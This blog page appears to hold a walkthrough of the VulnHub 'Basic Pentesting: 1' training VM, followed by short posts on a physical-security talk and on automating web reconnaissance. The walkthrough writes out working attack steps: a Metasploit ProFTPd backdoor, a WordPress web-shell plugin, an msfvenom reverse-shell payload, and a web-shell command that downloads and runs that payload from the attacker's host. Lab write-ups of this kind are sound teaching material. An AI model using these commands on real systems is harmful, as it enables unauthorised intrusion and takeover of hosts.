VulnHub Basic Pentesting: 1 Walkthrough

I found myself with some free time and wanted a simple challenge to pass the time.  I decided to take a look at new VMs posted to VulnHub to see if there was anything interesting.  I came across Basic Pentesting: 1, which is designed as a boot to root challenge specifically for newcomers to pen testing.  This seemed to pass the simple challenge requirement, so I decided to give it a try.

This VMs has several avenues that lead either directly or indirectly to rooting the box.  I'll walk through a few avenues below.

Enumeration
After booting the VM, I performed a ping sweep on my network to identify the VM IP and started an nmap to identify any open ports.

Enumerating open ports

Avenue #1 - ProFTPd
My interest was piqued immediately upon seeing FTP open on this host.  From previous experience, I already knew this version was vulnerable to a backdoor, but I decided to act like a newcomer and did a search for "proftpd 1.3.3c exploit."  This yielded many results indicating that this particular version of ProFTPd was indeed affected by a backdoor which allowed for shell access to the system.  A metasploit module was the first search result, so I decided to use that.

Gaining a shell was straight forward and was a simple matter of configuring the payload.  I selected the cmd/unix/reverse payload which resulted in a root shell.

Metasploit configuration

Root!

As you can see, this was a very quick, minimal effort to achieve root in a manner of minutes.  In real penetration tests, the goal is often to not simply compromise a host, but to establish a foothold, enumerate information, and attempt to move laterally.  Having a fully functional shell is always a bonus.  To this end, you can often invoke a fully-interactive shell with a simple python trick: python -c 'import pty; pty.spawn("/bin/bash")'

Upgrading to a fully-interactive shell

Avenue #2 - WordPress low-privilege shell
Knowing there were several avenues to achieve root on this box, I decided to see what avenues the web server on port 80 presented.  Initially, the web server didn't appear to offer much.  A search for known vulnerabilities in the version of Apache used on the server, 2.4.18, indicated there weren't any exploits which allowed for remote code execution.  Since there weren't any exploits for Apache, there had to be some software running on the web server which would ultimately yield a shell.

During penetration tests, enumeration of the target is critical.  As you enumerate more information about the target, you build a better understanding of how it works and how it may be attacked.  In instances where you've identified a web server that just has a default welcome page and doesn't immediately offer up any clues, tools such as nikto and dirb are a great first choice for identifying potential access vectors.  In this case, nikto quickly identified the presence of a /secret/ directory.  This is the droid I was looking for!

Enumeration of secret directory with nikto

Upon visiting /secret/, I was presented with a WordPress site - My Secret Blog.  The WordPress login console can typically be accessed by visiting <site>/wp-login/index.php.

Note: You may encounter issues with content not loading due to the fact that the VM is configured to rewrite IPs to hostnames in URLs.  The easiest way to deal with this is to set up a hosts file entry to point your target VMs IP to vtcsec.

Upon visiting the WordPress login page, I tried the default username and password of admin / admin.  If you're new to pen testing, this is sadly not an unrealistic example.  I have encountered far too many services in production using these exact credentials.

WordPress login page

WordPress admin console

There are a number of ways to achieve a shell once gaining administrative access to a WordPress installation.  The method used will depend on target configuration and personal preferences.  One common technique is to modify a template and replace the template code with your shell code.  Personally, I don't favor this approach as modification of the template can expose your presence if the site is actively used.  Users (and admins!) are likely to notice if all of a sudden their template is modified and the site is no longer displaying correctly.  Instead, I prefer to use a plugin to install a shell.

A quick and lightweight shell can be downloaded from GitHub: https://github.com/leonjza/wordpress-shell.  Note:  I tried to use shell.zip from the GitHub repository, but it didn't decompress properly.  You'll probably need to create a new zip file: zip -r shell.zip shell.php.

To install a new plugin, use Plugins > Add New menu and use the Upload Plugin button to upload your zipped shell.  Activate the new plugin and you're ready to execute commands on the system on the web server as the web server user.  The plugin documentation indicates that your new shell can be accessed by navigating to /wp-content/plugins/shell/shell.php.  For this VM, that means you can access your shell by navigating to http://ip/secret/wp-content/plugins/shell/shell.php.  If for some reason your shell isn't accessible, you can confirm the path to your plugin by using the Plugins > Editor menu to confirm the directory name for your shell.

Executing 'id' using the shell

As you can see above, Apache is running as the www-data user.  If we want to get root, we're going to need to do a little more work.  There are a number of ways to do this.  My favorite method is to use netcat to either create a listening shell on the target (bind shell) or to send a shell back to a listener on my attacking machine (reverse shell).   In this case, the version of netcat installed doesn't support the -e options, meaning we can't use netcat to establish a bind shell.  The pentestmonkey reverse shell cheatsheet is a great resource to keep handy.  It gives you a lot of creative ways to establish a shell.  For this exercise, I chose to use a metasploit meterpreter reverse shell payload.

To use a meterpreter payload, I needed to take a few steps.  First, I needed to select a payload.  The VulnHub page tells us the OS used, but in the real world we don't have that luxury, so we need to determine what our target is running.  Using my command shell, I determined the system was a 64-bit Ubuntu Linux system by using uname -a.

Executing 'uname -a' using the shell

Second, I needed to create a payload to execute on the system.  To do this, I used msfvenom to create an ELF payload.  msfvenom -p linux/x86/meterpreter/reverse_tcp --platform linux -a x86 -f elf LHOST=172.16.127.176 LPORT=4444 -o metshell

Generating a payload with msfvenom

Third, I needed to set up metasploit to receive a shell from this payload.  This can be accomplished using exploit/multi/handler.  All that's needed is to set the LHOST and LPORT options to match what was specified when building the payload with msfvenom.

exploit/multi/handler configuration

Lastly, the payload needed to be transferred to the target.  If you have a web server on your attacking system, you can use that to serve up your payload and retrieve it using wget on the target.  If you don't have a web server configured, that's ok.  One of my favorite quick and dirty methods is to use the python SimpleHTTPServer to serve up content.  By default, the SimpleHTTPServer will establish a listener on port 8000 and serve up content from your current working directory.

Many times in real world pen tests, the web root is protected and the web server user will not have write access to the web root.  If you're able to establish a web shell, you'll need to find a directory where the web server user can write to in order to drop your payload.  Most commonly, this will be in the /tmp directory.  For this challenge, I changed to the /tmp directory, retrieved my payload and marked it as executable, and executed it.  You can issue these commands individually, or all at once, such as: http://172.16.127.174/secret/wp-content/plugins/shell-2/shell.php?cmd=cd%20/tmp;%20wget%20http://172.16.127.176:8000/metshell;%20chmod%20777%20metshell;%20/tmp/metshell

Low privilege meterpreter shell established!

At this point, we've established a shell, but it's only as the lowly www-data user.  We need to find an avenue that will allow us to escalate our privileges to root.

Avenue 2a - Privilege escalation through password attacks and sudo
After establishing a meterpreter shell as the www-data user, I began to look for ways to escalate my privileges to root.  A look through the /etc/passwd file revealed that the only local user on the box was the user marlinspike.  We already know marlinspike chose a weak password to protect their WordPress installation.  What are the chances that marlinspike also used a weak password for their local user account?

A simple google search will give you dozens of weak password lists that you can then use with automated attack tools like thc-hydra, ncrack, medusa, or patator.  Before I fired up an automated tool, I did a manual test using a few common weak passwords like password, admin, letmein, and the username as a password.  Unsurprisingly, marlinspike used their user name as their password.

Logged in as marlinspike

Sudo is a utility which allows users to execute commands with the security context of another user.  Savvy system administrators will use it to allow users to execute specific commands as either another user or a user with elevated privileges.  Unfortunately, system administrators also often grant themselves permission to execute all system commands as the root user.  Such was the case with this system.

root!

In retrospect, I could have just used the WP shell to identify all local users and attempt password guessing attacks without ever launching the meterpreter shell.

Is your data literally walking out the door?

Yesterday, I had the privilege of presenting at the 2015 ND Cyber Security conference, held at North Dakota State University. This conference brought together more than 200 K-12 and higher education technology specialists as well as others interested in information security from around the region.

I discussed the basics of physical security as seen from an attacker's perspective. I realize this presentation doesn't cover lock picking, but there are plenty of resources out there that talk about lock picking.

The presentation is available on SlideShare: Is Your Data Literally Walking Out the Door

As always, feedback is welcome and appreciated!

Automating Simple Website Reconnaissance Measures a.k.a An Ounce of Prevention

As a pen tester as part of an internal security team, I'm responsible for periodically sweeping our networks to identify web servers and determine if there are risks presented by those websites such as information disclosures, default credentials, or insufficient access and authorization measures.  (aside: yes, change control would make sure this never happened again.  In a world filled with unicorns farting rainbows.) On anything other than a small network, this can quickly become a time-consuming task. It didn't take long to decide to automate as much of this process as possible.

Since our vulnerability scanners are regularly touching all parts of our network, they are a good choice as a source for a list of hostnames, IPs, and ports for any service speaking HTTP or HTTPS. After massaging the data in Excel I have a list of URLs to test using either the FQDN or IP and the port number.

Once I have this list, typically several thousand different URLs to test, I need to quickly eliminate the systems I don't need or want to inspect.  To do this, I wrote a simple python utility which uses urllib2 to pull in the page associated with each URL and analyze it through a simple string.find() loop.  I built a dictionary of common sites that I know I won't need to inspect, such as

• Sites with the corporate authentication mechanisms presented
• Default Apache / IIS web pages
• Default Tomcat or JBoss install
• KVMs and SAN switch interfaces
• etc.

When the utility finds a URL matches something in the dictionary, it records this in the output file.This resulting report contains far fewer sites needing inspection than the original list.

The biggest return isn't in time saved, however. The real value comes when the utility isn't able to classify the site. These sites often contain information that should have been secured, or authentication mechanisms using weak/default credentials.  I can easily filter the output into additional tasks, such as testing for default Tomcat or JBoss credentials, etc.

In the past, I would take these unclassified results and dump them into a spreadsheet and then review them individually. Any site that would attempt to perform a Javascript redirect or refresh to a different landing page when '/' was requested would fool my utility as urllib2 is unable to follow the redirect. This lead to manually reviewing a lot of sites that would otherwise be easily identified if my utility could see the landing page.

A while back I experimented with being able to take a screenshot of each site to quickly eliminate these sites visually. Unfortunately, at the time, every utility I investigated was also stumped by the redirect. AJAX-heavy sites also fooled my utility as well as the other utilities I tested.

This summer Netflix released a tool they wrote - Sketchy - which they use to assist in their IR processes. Sketchy addresses the same issues I was experiencing with Javascript and AJAX sites. After reading about Sketchy, I knew that I wanted to try applying this to my processes to see if I could get better results and be more efficient.

Feeling inspired by all the incredible talks presented at DerbyCon,I decided it was time to start putting Sketchy to work. I blogged earlier about my experience setting up Sketchy, you can read about it here.

While Sketchy does have an API, a quick and dirty shell script worked for my needs.  The script supports grabbing a screenshot (sketch), grabbing the DOM as text (scrape), or grabbing the rendered HTML (html). For sites sketchy is unable to connect to, my script makes a log entry and does not produce an artifact.I can quickly view these resulting images and determine if the site is something that warrants further inspection.

Examples

Linksys router login page

Twitter login page

Conclusion

Reviewing websites is essential to identifying information disclosures, weak authentication mechanisms, and new web apps or devices that may have been deployed without your knowledge. Regularly reviewing these websites for this information prevents audit findings and helps keep your network and data safe from unauthorized access.

Sketchy was easy to install, and it didn't take long to whip up a functioning system.  With a few hours of setup, scripting, and testing, I'm able to automate what used to be several hours of work. In the end, I'm free to get more done, and much more of the proverbial low-hanging fruit is picked.

If you're using different tools to achieve the same end, I've love to hear about it. Leave me a comment or reach out to me on Twitter.

-Mike